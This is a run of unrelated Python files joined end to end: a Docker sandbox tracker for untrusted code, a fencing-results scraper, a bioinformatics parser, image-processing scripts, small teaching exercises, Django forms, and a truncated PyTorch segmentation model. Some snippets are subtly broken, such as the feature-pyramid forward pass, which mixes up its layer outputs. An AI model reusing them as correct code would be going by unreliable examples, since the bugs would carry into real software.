UNTRUSTED_GROUP = 999
UNTRUSTED_PROFILE_KEY = "U_PROFILE"

class ContainerTracker(object):

    def __init__(self):
        self.tag = os.environ[PULL_TAG_KEY]
        if UNTRUSTED_IMAGE_KEY in os.environ:
            self.untrusted_image_name = os.environ[UNTRUSTED_IMAGE_KEY]
        else:
            self.untrusted_image_name = UNTRUSTED_IMAGE
        if UNTRUSTED_PROFILE_KEY not in os.environ:
            raise OSError("You must specify the AppArmor profile that untrusted code will use \
                with the \'U_PROFILE\' environment variable.  To use the default Docker profile,\
                 set this variable to \'docker-default\'.")
        self.untrusted_profile = os.environ[UNTRUSTED_PROFILE_KEY]
        logging.info("Using untrusted profile - " + self.untrusted_profile)

    def start_untrusted(self, docker_cli, label_list=['untrusted'], image_str='hello-world', volumes_from=[], environment={}, user=UNTRUSTED_USER, entrypoint=None, mem_limit="100m", security_opt=None):
        host_config = docker_cli.create_host_config(volumes_from=volumes_from, network_mode = 'none',
                                                     mem_limit=mem_limit, read_only=True, security_opt=security_opt)

        logging.info("Host config: " + str(host_config))
        logging.info("Starting " + image_str+ " as user " + str(user) + ".")
        user_with_group = str(user) + ":" + str(UNTRUSTED_GROUP)
        container = docker_cli.create_container(image=image_str, labels=label_list, host_config=host_config,
                                                 environment=environment, network_disabled=True, user=user_with_group)
        c_id = container.get('Id')
        logging.info("Starting "+image_str+" with id " + c_id + ".")
        docker_cli.start(container=c_id)
        return c_id

    def send_result_to_ie(self, redis, container_metadata, data):
        tmp_dir = container_metadata.tmp_dir
        response_channel = container_metadata.response_channel
        redis.publish(response_channel, json.dumps(data))
        logging.info("Sent " + str(data) + " to " + response_channel + ".")
        logging.info("Removing tree: " + tmp_dir + ".")
        shutil.rmtree(tmp_dir)

    def send_error_result_to_ie(self, redis, response_channel):
        data = {'result':False,'error':True,'message':checks.error_messages[checks.INTERNAL_ERROR]}
        redis.publish(response_channel, json.dumps(data))
        logging.info("Sent " + str(data) + " to " + response_channel + ".")

    def handle_results(self, docker_cli, redis_conn, container_id, shutdown_metadata_code):

        std_out = docker_cli.logs(container=container_id, stdout=True, tail=10).decode("utf-8")
        logging.info("Raw script logs: " + std_out)

        message_gen = MessageGenerator()
        message_gen.report_metadata_shutdown_code(shutdown_metadata_code)

        data = {'result':False,'error':False,'message':None }
        string_result = None
        lines = std_out.split('\n')
        is_next = False
        for line in reversed(lines):
            if line == DIV:
                is_next = True
            elif is_next:
                string_result = line
                break
        if string_result is None:
            if shutdown_metadata_code == checks.OK:
                message_gen.reset_with_new_message(checks.error_messages[checks.SUSPICIOUS])
            else:
                message_gen.add_to_message("No result detected.  Defaulted to false.")
            logging.warning(message_gen.get_message())
        elif len(string_result) > 1000:
            message_gen.add_to_message("Length of result is suspiciously long.  Defaulted to false.")
            logging.warning(message_gen.get_message())
            # mark as suspicious
        else:
            logging.info("Raw script results: " + string_result)
            try:
                raw_data = json.loads(string_result)

                message_gen.report_raw_result(raw_data['exception'], raw_data['line'])

                if raw_data['result'] == "True":
                    data['result'] = True
                elif not raw_data['result'] == "False":
                    message_gen.reset_with_new_message("Unexpected result - must return boolean (True or False).")

                if raw_data['error'] == "True":
                    if data['result']:
                        message_gen.add_to_message("Unexpected result - 'true' result with a reported error.  Defaulted to false.")
                        data['result'] = False

            except Exception as exc:
                logging.warning(message_gen.get_message())
                logging.exception(exc)
                message_gen.reset_with_new_message("Result could not be determined.  Defaulted to false.")
        data['message'] = message_gen.get_message()
        logging.info("Processed script results: " + str(data) + ".")
        return data

    def handle_requests(self, docker_cli, redis, pubsub, data_volume):

            message = pubsub.get_message()
            if message is not None:
                if message['type'] == 'message':
                    # receive request from interpretation engine via Redis
                    data = message['data'].decode("utf-8")
                    j = json.loads(data)
                    response_channel = j['response-channel-id']
                    try:
                        j.pop('response-channel-id')

                        user_id = random.randint(1001, 5000)
                        tmp_dir = mkdtemp(dir="/usr/local/shared/untrusted/")
                        tmp = open(os.path.join(tmp_dir, "metrics-dictionary.json"), 'w')
                        tmp.write(json.dumps(j))
                        tmp.close()
                        logging.info("Updating " + tmp_dir + " and " + tmp.name + ".")
                        os.chown(tmp_dir, user_id, UNTRUSTED_GROUP)
                        os.chown(tmp.name, user_id, UNTRUSTED_GROUP)
                        #out = check_output(["usermod", "-g", str(UNTRUSTED_GROUP), str(user_id)])
                        #logging.info(out)
                        os.chmod(tmp_dir, 0o700)
                        os.chmod(tmp.name, 0o700)
                        env = {'RESOURCE_PATH':tmp.name}

                        image_str=self.untrusted_image_name+":"+self.tag
                        if self.untrusted_profile is not None:
                            sec_opt = ["apparmor="+self.untrusted_profile]
                        else:
                            sec_opt = None
                        c_id = self.start_untrusted(docker_cli, volumes_from=[data_volume['Id']], image_str=image_str, environment=env, user=user_id, security_opt=sec_opt)

                        container_metadata = ActiveContainerMetadata(response_channel, tmp_dir, checks.get_checks())
                        logging.info("Response channel for " + c_id + " is " + response_channel + ".")
                        return c_id, container_metadata
                    except Exception as err:
                        logging.exception(err)
                        logging.error("Container did not successfully start.")
                        self.send_error_result_to_ie(redis, response_channel)
                        return None


#!/usr/bin/python3
# -*- coding:utf-8 -*-
'''
题目：利用递归方法求5!。
程序分析：递归公式：fn=(fk)*4!    5!=5*4!

'''

def Factorial(n):
    if n == 1:
        fn = 1
    else:
        fn = n * Factorial(n - 1)
    return fn
print(Factorial(5))


from bs4 import BeautifulSoup
from urllib import request
import re
import json

class Crawler(object):

    def openLatestSeason(self, base):
        basePage = request.urlopen(base).read()
        soup = BeautifulSoup(basePage)
        aTags = soup.find_all("a")
        lastAnchor = aTags[-1].get('href')
        link = base + lastAnchor[1:]
        return link

    def openLatestCompetition(self, season_page_url):
        season_page = request.urlopen(season_page_url).read()
        soup = BeautifulSoup(season_page)
        aTags = soup.find_all("a")
        lastAnchor = aTags[-2].get('href')
        link = season_page_url + lastAnchor[1:]
        return link

    def getCompetitionLinks(self, competition_page_url):
        competition_page = request.urlopen(competition_page_url).read()
        eventRE = re.compile('^FTE')
        soup = BeautifulSoup(competition_page)
        aTags = soup.find_all("a")
        links = []
        for anchor in aTags:
            link = anchor.get('href')
            if eventRE.match(link):
                links.append(competition_page_url + '/' + link)
        links = set(links)
        return links

class Parser(object):

    soup = ''
    tournamentURL = ''
    eventURL = ''

    def __init__(self, tournamentURL):
        self.tournamentURL = tournamentURL
        self.links = self.setup(False if tournamentURL is '' else True)

    def setup(self, haveURL=''):
        crawler = Crawler()
        if haveURL is not '':
            links = crawler.getCompetitionLinks(self.tournamentURL)
        else:
            links = crawler.getCompetitionLinks(
                crawler.openLatestCompetition(
                    crawler.openLatestSeason(
                        'http://results.usfencingresults.org')
                )
            )
        return links

    def main(self):
        tournamentJSON = {}
        for event in self.links:
            if 'CHR' not in event and 'TM' not in event:
                self.eventURL = event
                page = request.urlopen(event).read()
                self.soup = BeautifulSoup(page)
                print(
                    '\n\n---------------' + str(event) + '-----------------\n\n')
                tournamentJSON[self.getEventName()] = self.parseCompetition()

        i = {
            'name': self.getTournamentName(),
            'URL': self.tournamentURL,
            'finished': self.getFinished(tournamentJSON)
        }
        tournamentJSON['tournament'] = i
        with open('test.json', 'w+') as file:
            file.write(json.dumps(tournamentJSON))
        return tournamentJSON

    def getFinished(self, JSON):
        for key in JSON:
            if type(JSON[key]) is type({}) and \
                    JSON[key]['event']['finished'] is 0:
                return 0
        return 1

    def parseCompetition(self):
        tabs = self.soup.find_all("a", class_='jumpListItem1')
        prelimSeed = []
        checkIn = []
        round1Scores = []
        round1Seeding = []
        finalResults = []
        round2Seeding = []
        for x in tabs:
            if 'Preliminary Seeding' in x.get_text():
                prelimSeed = self.parseSeeding('prelimSeed')
            elif 'Check-In Status' in x.get_text():
                checkIn = self.parseCheckIn()
            elif 'Round #1 - Pool' in x.get_text():
                round1Seeding = self.parseSeeding('Round1Seeding')
                round1Scores = self.parsePoolRound()
            elif 'Round #2 - DE' in x.get_text():
                round2Seeding = self.parseSeeding('Round2Seeding')
                # self.calculateDirectElimination(resultsJSON, round1JSON)
            elif 'Final Results' in x.get_text():
                finalResults = self.parseFinalResults()
        return self.exportJSON(
            prelimSeed,
            checkIn,
            round1Seeding,
            round1Scores,
            round2Seeding,
            finalResults
        )

    def exportJSON(self,
                   prelimSeed,
                   checkIn,
                   round1Seeding,
                   round1Scores,
                   round2Seeding,
                   finalResults):
        bigjson = {
            'prelimSeed': prelimSeed,
            'checkIn': checkIn,
            'round1Seeding': round1Seeding,
            'round1Scores': round1Scores,
            'round2Seeding': round2Seeding,
            'finalResults': finalResults,
            'event': {
                'URL': self.eventURL,
                'name': self.getEventName(),
                'finished': 1 if finalResults is not {} else 0
            }
        }
        return bigjson

    def getTournamentName(self):
        span = self.soup.find('span', class_='tournName')
        return span.get_text()

    def getEventName(self):
        span = self.soup.find('span', class_='tournDetails')
        return span.contents[0].strip()

    def calculateDirectElimination(self, resultsJSON, roundJSON):
        pass

    def parseFinalResults(self):
        table = self.soup.find(id='finalResults')
        table = table.find_all('tr', class_='dataTableGoldResultRow') +  \
            table.find_all('tr', class_='dataTableSilverResultRow') + \
            table.find_all('tr', class_='dataTableBronzeResultRow') + \
            table.find_all('tr', class_='dataTableOddRow') + \
            table.find_all('tr', class_='dataTableEvenRow')
        resultsJSON = []
        for row in table:
            fencer = {}
            children = [value for value in row.contents if value != '\n']
            count = 0
            for data in children:
                text = data.get_text()
                text = text.encode('utf_8')
                if count is 0:
                    fencer['place'] = self.replaceOddEncodings(text)
                elif count is 1:
                    fencer['lastName'] = self.replaceOddEncodings(
                        text.split(b',')[0])
                    fencer['firstName'] = self.replaceOddEncodings(
                        text.split(b',')[1])
                elif count is 2:
                    fencer['club'] = self.replaceOddEncodings(text)
                elif count is 3:
                    fencer['division'] = self.replaceOddEncodings(text)
                elif count is 4:
                    text = text.replace(b'\n', b'')
                    fencer['country'] = self.replaceOddEncodings(text)
                elif count is 5:
                    fencer['classification'] = self.replaceOddEncodings(text)
                elif count is 6:
                    fencer['earned'] = self.replaceOddEncodings(text)
                count += 1
            resultsJSON.append(fencer)
        return resultsJSON

    def parsePoolRound(self):
        table = self.soup.find(id='Round1Scores')
        poolNum = table.select('div.poolNum')
        stripNum = self.soup.select('span.poolStripTime')
        pools = table.select('table.pool')
        poolRoundJSON = {}
        counter = 0
        for pool in pools:
            poolJSON = {}
            poolJSON['pool number'] = self.replaceOddEncodings(
                poolNum[counter].get_text().encode('utf_8'))
            try:
                poolJSON['strip assignment'] = self.replaceOddEncodings(
                    stripNum[counter].get_text()
                    .replace('On strip', '')
                    .encode('utf_8'))
            except IndexError:
                poolJSON['strip assignment'] = ''
            children = [value for value in pool.contents if value != '\n']
            pool = {}
            rowIndicator = 0
            competitors = []
            for column in children:
                row = column.select('td.poolNameCol') + \
                    column.select('span.poolAffil') + \
                    column.select('td.poolScoreCol') + \
                    column.select('td.poolResultCol')
                finalizedRow = []
                count = 0
                for data in row:
                    if count is 0:
                        finalizedRow.append(data.contents[0].strip())
                        name = data.contents[0].strip().split(',')
                        # secondString = data.contents[2].get_text().split('/')
                        competitor = {}
                        competitor['lastName'] = name[0]
                        competitor['firstName'] = name[1]
                        # competitor['clubAbbr'] = secondString[0]
                        # if len(secondString) == 3:
                        #   competitor['country'] = secondString[2]
                        #   competitor['division'] = secondString[1]
                        # elif(secondString) == 2:
                        #   competitor['country'] = secondString[1]
                        competitors.append(competitor)
                    else:
                        finalizedRow.append(
                            self.replaceOddEncodings(data.get_text().encode(
                                'utf_8')))
                    count += 1
                pool[str(rowIndicator)] = finalizedRow
                rowIndicator += 1
            poolJSON['competitors'] = competitors
            poolJSON['pool'] = pool
            counter += 1
            poolRoundJSON[poolJSON['pool number']] = poolJSON
        return poolRoundJSON

    def parseCheckIn(self):
        table = self.soup.find(id='checkIn')
        table = table.find_all('tr', class_='dataTableOddRow') + \
            table.find_all('tr', class_='dataTableEvenRow')
        checkinJSON = []
        for row in table:
            fencer = {}
            children = [value for value in row.contents if value != '\n']
            count = 0
            for data in children:
                text = data.get_text()
                text = text.encode('utf_8')
                if count is 0:
                    img = row.find('img', attrs={'src': 'CheckIn.png'})
                    if img is not None:
                        fencer['Check In'] = True
                    else:
                        fencer['Check In'] = False
                elif count is 1:
                    fencer['lastName'] = self.replaceOddEncodings(
                        text.split(b',')[0])
                    fencer['firstName'] = self.replaceOddEncodings(
                        text.split(b',')[1])
                elif count is 2:
                    fencer['club'] = self.replaceOddEncodings(text)
                elif count is 3:
                    fencer['division'] = self.replaceOddEncodings(text)
                elif count is 4:
                    fencer['country'] = self.replaceOddEncodings(text)
                count += 1
            checkinJSON.append(fencer)
        return checkinJSON

    def parseSeeding(self, tableId):
        table = self.soup.find(id=tableId)
        table = table.find_all(
            'tr', class_='dataTableOddRow') + table.find_all(
            'tr', class_='dataTableEvenRow')
        seedingJSON = []
        for row in table:
            fencer = {}
            if tableId is 'Round1Seeding':
                fencer['status'] = ''
            pools = {}
            children = [value for value in row.contents if value != '\n']
            count = 0
            for data in children:
                text = data.get_text()
                text = text.encode('utf_8')
                if count is 0:
                    fencer['seeding'] = self.replaceOddEncodings(text)
                elif count is 1:
                    fencer['lastName'] = self.replaceOddEncodings(
                        text.split(b',')[0])
                    fencer['firstName'] = self.replaceOddEncodings(
                        text.split(b',')[1])
                elif count is 2:
                    text = text.split(b'/')
                    fencer['classification'] = self.replaceOddEncodings(
                        text[0])
                    if len(text) is 2:
                        fencer['rank'] = self.replaceOddEncodings(text[1])
                    else:
                        fencer['rank'] = None
                elif count is 3:
                    fencer['club'] = self.replaceOddEncodings(text)
                elif count is 4:
                    fencer['division'] = self.replaceOddEncodings(text)
                elif count is 5:
                    text = text.replace(b'\n', b'')
                    fencer['country'] = self.replaceOddEncodings(text)
                elif count is 6:
                    pools['v'] = self.replaceOddEncodings(text)
                elif count is 7:
                    pools['vr'] = self.replaceOddEncodings(text)
                elif count is 8:
                    pools['ts'] = self.replaceOddEncodings(text)
                elif count is 9:
                    pools['tr'] = self.replaceOddEncodings(text)
                elif count is 10:
                    pools['i'] = self.replaceOddEncodings(text)
                elif count is 11:
                    fencer['status'] = self.replaceOddEncodings(text)
                    fencer['pool'] = pools
                count += 1
            seedingJSON.append(fencer)
        return seedingJSON

    def replaceOddEncodings(self, text):
        return text.decode('utf_8').replace('\xa0', '')

if __name__ == '__main__':
    x = Parser(
        'http://results.usfencingresults.org/2014-2015/2015.06-JUN-SN')
    x.main()

    # dbm = DBManager(json)
    # dbm.main()


#!/usr/bin/python
import xml.sax
from itertools import product
import argparse
import sys
parser = argparse.ArgumentParser(
    formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("-x", "--orthoXML", type=str, required=True,
                    help="Flat non-hierarchical orthoXML file")
args = parser.parse_args()

class OrthoXMLHandler(xml.sax.ContentHandler):
    def __init__(self):
        xml.sax.ContentHandler.__init__(self)
        self.genes = {}
        self.ingroup = -1
        self.groups = {}
        self.species = None

    def startElement(self, name, attrs):
        if name == 'species':
            self.species = attrs['name']

        if name == 'gene' and self.species:
            self.genes[attrs['id']] = '{}_{}'.format(
                attrs['protId'], self.species)

        if name == 'orthologGroup':
            self.ingroup = attrs['id']

        if name == 'geneRef' and self.ingroup != -1:
            self.groups.setdefault(self.ingroup, []).append(
                self.genes[attrs['id']])

    def endElement(self, name):
        if name == 'orthologGroup':
            self.ingroup = -1
        if name == 'species':
            self.species = None

    def getGroups(self):
        return(self.groups)

with open(args.orthoXML, "r") as oxmlfile:
    handler = OrthoXMLHandler()
    parser = xml.sax.make_parser()
    parser.setContentHandler(handler)
    parser.parse(oxmlfile)
    g = handler.getGroups()
    # Parse groups
    for gid, gval in g.items():
        paralogs = {}
        for p in gval:
            prot, sp = p.split('_', 1)
            paralogs.setdefault(sp, []).append(prot)
        # Output inparalogs
        xsp, ysp = paralogs.values()
        for x, y in product(xsp, ysp):
            # Some error in OrthoXML file one identifier assigned to two species
            # <gene id="11143" protId="P63058"/>
            # <gene id="11144" protId="P63058"/>
            if x != y:
                print('{}\t{}'.format(x, y))


import numpy as np # linear algebra
import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)
import os
print(os.listdir("../input"))
import sys
import matplotlib.pyplot as plt
sys.path.append('rxrx1-utils')
from tqdm import tqdm
from PIL import Image
import rxrx.io as rio
#!git clone https://github.com/recursionpharma/rxrx1-utils
import zipfile

# Load the Pandas libraries with alias 'pd'
import pandas as pd
# Read data from file 'filename.csv'
data = pd.read_csv("../input/balanced_sample_train.csv")
# Preview the first 5 lines of the loaded data
print(data.head())
#
# # pos_control = data[data['well_type']=='positive_control']
# # print(pos_control.head())
# #
# # well_type = 'positive_control'
#
# filename = "../input/train.csv"
# data = pd.read_csv(filename)

# data = data[data['well_type'] == well_type]
print((data.shape))

storage_path = '../input/train'

def convert_to_rgb(df, split, resize=False, new_size=224, extension='png'):
    RGB_MAP = {
        1: {
            'rgb': np.array([19, 0, 249]),
            'range': [0, 51]
        },
        2: {
            'rgb': np.array([42, 255, 31]),
            'range': [0, 107]
        },
        3: {
            'rgb': np.array([255, 0, 25]),
            'range': [0, 64]
        },
        4: {
            'rgb': np.array([45, 255, 252]),
            'range': [0, 191]
        },
        5: {
            'rgb': np.array([250, 0, 253]),
            'range': [0, 89]
        },
        6: {
            'rgb': np.array([254, 255, 40]),
            'range': [0, 191]
        }
    }

    N = df.shape[0]

    print(df.head())
    print(df['id_code'].iloc[1])
    for i in tqdm(range(N)):

        code = df['id_code'].iloc[i]
        experiment = df['experiment'].iloc[i]
        plate = df['plate'].iloc[i]
        well = df['well'].iloc[i]
        sirna = df['sirna'].iloc[i]

        for site in [1, 2]:

            folder = '../input/'+str(split)+'/'+str(sirna)+'/'

            if not os.path.exists(folder):
                os.makedirs(folder)

            save_path = '../input/'+str(split)+'/'+str(sirna)+'/'+str(code)+'_s'+str(site)+'.'+str(extension)

            im = rio.load_site_as_rgb(
                split, experiment, plate, well, site, channels=(1, 2, 3, 4, 5, 6),
                base_path='../input/', rgb_map=RGB_MAP
            )
            im = im.astype(np.uint8)
            im = Image.fromarray(im)

            if resize:
                im = im.resize((new_size, new_size), resample=Image.BILINEAR)

            im.save(save_path)

def build_new_df(df, extension='.png'):
    new_df = pd.concat([df, df])
    new_df['filename'] = pd.concat([
        df['id_code'].apply(lambda string: string + '_s1' ),
        df['id_code'].apply(lambda string: string + '_s2' )

    ])

    new_df['filename'] = new_df['filename'] + "_" + new_df["sirna"].map(str) + str(extension)

    return new_df

def zip_and_remove(path):
    ziph = zipfile.ZipFile(str(path)+'.zip', 'w', zipfile.ZIP_DEFLATED)

    for root, dirs, files in os.walk(path):
        for file in tqdm(files):
            file_path = os.path.join(root, file)
            ziph.write(file_path)
            os.remove(file_path)

    ziph.close()

convert_to_rgb(data, 'train')
zip_and_remove('train')

new_train = build_new_df(data)
new_train.to_csv('../input/balanced_sample_new_train.csv', index=False)


# an object that supports iteration has instance method __iter__ that returns an iterator
# the iterator has __next__ instance method that returns an element for each iteration (the
# call to the __next__ method)

# MyIterable class defines an internal iterator, see `test_iterator.py` for external iterator
# example.

class MyIterable:

    def __init__(self, data=[]):
        self.data = data
        self.idx = 0

    # __iter__ operator overriding to return a custom iterator
    def __iter__(self):
        return self  # returning self as interator

    # since self is the iterator, the iterator.__next__ method becomes instance method of MyIterable class
    # the contract of iteration passed the last element is raising StopIteration exception
    def __next__(self):
        if self.idx < len(self.data):
            elm = self.data[self.idx]
            self.idx += 1
            return elm
        else:
            raise StopIteration

# The rewindable subclass provides an iterator reset instance method
class MyRewindableIterable(MyIterable):

    def reset_iter(self):
        self.idx = 0

if __name__ == '__main__':
    mi = MyIterable([1, 3, 5, 7, 9])
    print([x * 10 for x in mi])

    # Since the __iter__ returns the instance itself, the second trial of looping the same instance
    # returns nothing.
    # see ``test_iterator.py`` for an example of a separate stateful iterator
    print([x * 10 for x in mi]) # prints an empty list since the 'for' generator returns nothing

    # Python doesn't have native definition of 'resetting' iterator object in general. For MyIterable class,
    # a new instance is needed to provide a new iterator instance.
    mc = MyIterable('this is a string')
    print([x.upper() for x in mc])

    # The Rewindable class instance can be looped again after iterator reset
    mri = MyRewindableIterable([2, 4, 6, 8, 10])
    print([x * -1 for x in mri])
    print([x * -1 for x in mri])  # prints empty list

    mri.reset_iter()
    print([x * -1 for x in mri])  # prints empty list


# -*- coding: utf-8 -*-
#"""
#Бабушкина Н. В., 05-703, Возведение в степень
#"""
def FindPow1(a, n):# рекурсивная функция возведение числа a в степень n
    if n==0: return 1
    if n>0: return FindPow1(a, n-1)*a
    else: return 1/FindPow1(a, -n)

def FindPow2(a, n):#рекурсивная функция, которая возводит а в степень n более
    # быстрым способом (стратегия разделяй и властвуй)
    if n>=0:
        if n==0: return 1
        if n%2==0: return FindPow2(a*a, n/2)#если степень четная, то
        #сначала берем квадрат от а, потом возводим в степень n/2
        if n%2==1: return FindPow2(a, n-1)*a
    else:
        return 1/FindPow2(a, -n)#если степень отрицательная

a=int(input("Введите основание степени: "))#ввод целого числа
n=int(input("Введите показатель степени: "))
print('"Наивное" возведение в степень: ', FindPow1(a, n))
print("Быстрое возведение в степень:  ", FindPow2(a, n))


from fin_manager_model.MoneyObject import MoneyObject
from fin_manager_model.ReportingEngine import ReportingEngine
from fin_manager_model.OrgType import OrgType
from fin_manager_model.FrameworkHelper import *

class Stock(MoneyObject):

    def __init__(self):
        super(Stock, self).__init__()
        self.unit = 0.0
        self.stock_name = ''
        self.stock_id = ''

    def _multiplier(self, reporting_engine: ReportingEngine, caldate: date):
        if self.value:
            return (stock_price(self.stock_id) * self.unit)/self.value

        return stock_price(self.stock_id) * self.unit

    @staticmethod
    def load_data(data_stream, parm1, parm2):
        prefix = ''
        for i in data_stream:
            if len(i) > 2:
                fd = Stock()
                fd.unit = parse_str_to_float(i[1])
                fd.stock_name = parm1
                fd.currency = parm2
                fd.stock_id = i[0]


from django import forms
from django.core.exceptions import ValidationError

from .models import *

class CadastroForm(forms.ModelForm):
    class Meta:
        model = Usuario
        fields = '__all__'
        widgets = {
            'nome': forms.TextInput(attrs={'class': "form-control"}),
            'email': forms.TextInput(attrs={'class': "form-control"}),
            'senha': forms.PasswordInput(attrs={'class': "form-control"})
        }

class UsuarioForm(forms.Form):
    SEXO_CHOICES = (
        ('M', 'Masculino'),
        ('F', 'Feminino'),
        ('O', 'Outros'),
    )

    nome = forms.CharField(required=True,
                           widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Nome'}))
    email = forms.EmailField(required=True,
                             widget=forms.EmailInput(attrs={'class': 'form-control', 'placeholder': 'Email'}))
    telefone = forms.CharField(required=True,
                               widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Telefone'}))
    sexo = forms.CharField(required=True, widget=forms.Select(choices=SEXO_CHOICES, attrs={'class': 'form-control'}))

    def is_valid(self):
        valid = True
        if not super(UsuarioForm, self).is_valid():
            self.adiciona_erro('Por favor, verifique os dados informados')
            valid = False

        return valid

    def adiciona_erro(self, mensagem):
        errors = self._errors.setdefault(forms.forms.NON_FIELD_ERRORS, forms.utils.ErrorList())
        errors.append(mensagem)

    # def __init__(self, *args, **kwargs):
    #     super(UsuarioForm, self).__init__(*args, **kwargs)
    #     self.initial['nome'] = 'Initial value'

class PostagemForm(forms.ModelForm):
    class Meta:
        model = Postagem
        fields = ["texto"]
        widgets = {
            'texto': forms.TextInput(attrs={'class': "form-control"}),
        }

class FotoForm(forms.ModelForm):
    class Meta:
        model = Usuario
        fields = ["foto"]
        widgets = {
            'foto': forms.FileInput(attrs={'class': "form-control"}),
        }

class AnexoForm(forms.ModelForm):
    class Meta:
        model = Anexo
        fields = ["arquivo", "tipo"]
        widgets = {
            'arquivo': forms.FileInput(attrs={'class': "form-control"}),
        }

class EnviarForm(forms.Form):
    email = forms.EmailField(required=True,
                             widget=forms.EmailInput(attrs={'class': 'form-control', 'placeholder': 'Email'}))

class DesativarForm(forms.Form):
    motivo = forms.CharField(required=True)


from django.urls import path
from . import views

urlpatterns = [
    path('notice', views.noticeList.as_view()),
    path('home', views.homeList.as_view()),
    path('home/<str:addr>', views.homeDetail.as_view()),
    path('status', views.statusList.as_view()),
    path('homeinfo_by_id', views.homeinfo_by_id),
    path('homeinfo_id', views.homeinfo_id),
    path('my_meta_id', views.my_meta_id),
    path('above_meta_id', views.above_meta_id),
    path('my_sensor_data', views.my_sensor_data),
    path('above_sensor_data', views.above_sensor_data),
    path('update_sensor_time', views.update_sensor_time),
    path('sensorData', views.sensorData),
    path('message', views.message),
]


#!/usr/bin/env python3.6

# renames image files in given folder according to their creation date
# taken from
# https://orthallelous.wordpress.com/2015/04/19/extracting-date-and-time-from-images-with-python/

import os
from datetime import datetime as dt
from datetime import timedelta
from PIL import Image
import time

folder_path = 'C:/Users/karel.gavenciak/Desktop/Gruzie fotky Eva'

def imgDate(fn):
    "returns the image date from image (if available)\nfrom Orthallelous"
    std_fmt = '%Y:%m:%d %H:%M:%S.%f'
    # for subsecond prec, see doi.org/10.3189/2013JoG12J126 , sect. 2.2, 2.3
    tags = [(36867, 37521),  # (DateTimeOriginal, SubsecTimeOriginal)
            (36868, 37522),  # (DateTimeDigitized, SubsecTimeOriginal)
            (306, 37520), ]  # (DateTime, SubsecTime)
    exif = Image.open(fn)._getexif()

    for t in tags:
        dat_stmp = exif.get(t[0])
        sub_stmp = exif.get(t[1], 0)

        # PIL.PILLOW_VERSION >= 3.0 returns a tuple
        dat_stmp = dat_stmp[0] if type(dat_stmp) == tuple else dat_stmp
        sub_stmp = sub_stmp[0] if type(sub_stmp) == tuple else sub_stmp
        if dat_stmp != None: break

    if dat_stmp == None: return None
    full = '{}.{}'.format(dat_stmp, sub_stmp)
    # print(full)
    T = dt.strptime(full, std_fmt)
    # T = time.mktime(time.strptime(T, '%Y:%m:%d %H:%M:%S')) + float('0.%s' % sub)
    return T

for f in os.listdir(folder_path):
    date = imgDate(os.path.join(folder_path,f))

    os.rename(os.path.join(folder_path,f),os.path.join(folder_path,date.strftime('IMG_%Y%m%d_%H%M%S.JPG')))


import torch
import torch.nn as nn
import torch.nn.functional as F
from torchvision.models import resnet50
from PVT.pvt import pvt_tiny

class FPN(nn.Module):
    def __init__(self, num_channels=256):
        super(FPN, self).__init__()

        self.lateral_layer_5 = nn.Conv2d(512, num_channels, kernel_size=1, stride=1, padding=0)
        self.lateral_layer_4 = nn.Conv2d(320, num_channels, kernel_size=1, stride=1, padding=0)
        self.lateral_layer_3 = nn.Conv2d(128, num_channels, kernel_size=1, stride=1, padding=0)
        self.lateral_layer_2 = nn.Conv2d(64, num_channels, kernel_size=1, stride=1, padding=0)

        self.output_layer_5 = nn.Conv2d(num_channels, num_channels, kernel_size=3, stride=1, padding=1)
        self.output_layer_4 = nn.Conv2d(num_channels, num_channels, kernel_size=3, stride=1, padding=1)
        self.output_layer_3 = nn.Conv2d(num_channels, num_channels, kernel_size=3, stride=1, padding=1)
        self.output_layer_2 = nn.Conv2d(num_channels, num_channels, kernel_size=3, stride=1, padding=1)

    def _upsample_like(self, source, target):
        _, _, height, width = target.shape
        return F.interpolate(source, size=(height, width), mode='nearest')

    def forward(self, C2, C3, C4, C5):
        P5 = nn.ReLU(inplace=True)(self.lateral_layer_5(C5))
        P5_upsampled = self._upsample_like(P5, C4)
        P5 = self.output_layer_5(P5)

        P4 = nn.ReLU(inplace=True)(self.lateral_layer_4(C4))
        P4_upsampled = self._upsample_like(P4, C3)
        P3 = self.output_layer_3(P4 + P5_upsampled)

        P3= nn.ReLU(inplace=True)(self.lateral_layer_3(C3))
        P3_upsampled = self._upsample_like(P3, C2)
        P3 = self.output_layer_3(P3 + P4_upsampled)

        P2 = nn.ReLU(inplace=True)(self.lateral_layer_2(C2))
        P2 = self.output_layer_2(P2 + P3_upsampled)

        return P2, P3, P4, P5

class Map_Branch(nn.Module):
    def __init__(self, num_channels_output):
        super(Map_Branch, self).__init__()

        self.convs_on_P5 = self._two_conv()
        self.convs_on_P4 = self._two_conv()
        self.convs_on_P3 = self._two_conv()
        self.convs_on_P2 = self._two_conv()

        self.convs_on_feature_maps = nn.Sequential(
            nn.Conv2d(512, 512, kernel_size=3, stride=1, padding=1),
            nn.ReLU(inplace=True),
            nn.Conv2d(512, 256, kernel_size=3, stride=1, padding=1),
            nn.ReLU(inplace=True),
            nn.Conv2d(256, num_channels_output, kernel_size=1, stride=1, padding=0)
        )

    def _two_conv(self):
        return nn.Sequential(
            nn.Conv2d(256, 128, kernel_size=3, stride=1, padding=1),
            nn.ReLU(inplace=True),
            nn.Conv2d(128, 128, kernel_size=3, stride=1, padding=1),
            nn.ReLU(inplace=True)
        )

    def forward(self, P2, P3, P4, P5):
        D5 = F.interpolate(self.convs_on_P5(P5), scale_factor=8, mode='bilinear')
        D4 = F.interpolate(self.convs_on_P4(P4), scale_factor=4, mode='bilinear')
        D3 = F.interpolate(self.convs_on_P3(P3), scale_factor=2, mode='bilinear')
        D2 = self.convs_on_P2(P2)

        feature_maps = torch.cat((D2, D3, D4, D5), dim=1)

        return self.convs_on_feature_maps(feature_maps)

# Using 2 interpolations
class Segmentation_Branch(nn.Module):
    def __init__(self):
        super(Segmentation_Branch, self).__init__()

        self.convs_on_P5 = self._two_conv()
        self.convs_on_P4 = self._two_conv()
        self.convs_on_P3 = self._two_conv()
        self.convs_on_P2 = self._two_conv()

        self.conv_on_feature_maps = nn.Sequential(
            nn.Conv2d(512, 128, kernel_size=3, stride=1, padding=1),
            nn.ReLU(inplace=True),
        )

        self.final_conv1 = nn.Conv2d(128, 32, kernel_size=3, stride=1, padding=1)
        self.final_conv2 = nn.Conv2d(32, 1, kernel_size=3, stride=1, padding=1)

    def _two_conv(self):
        return nn.Sequential(
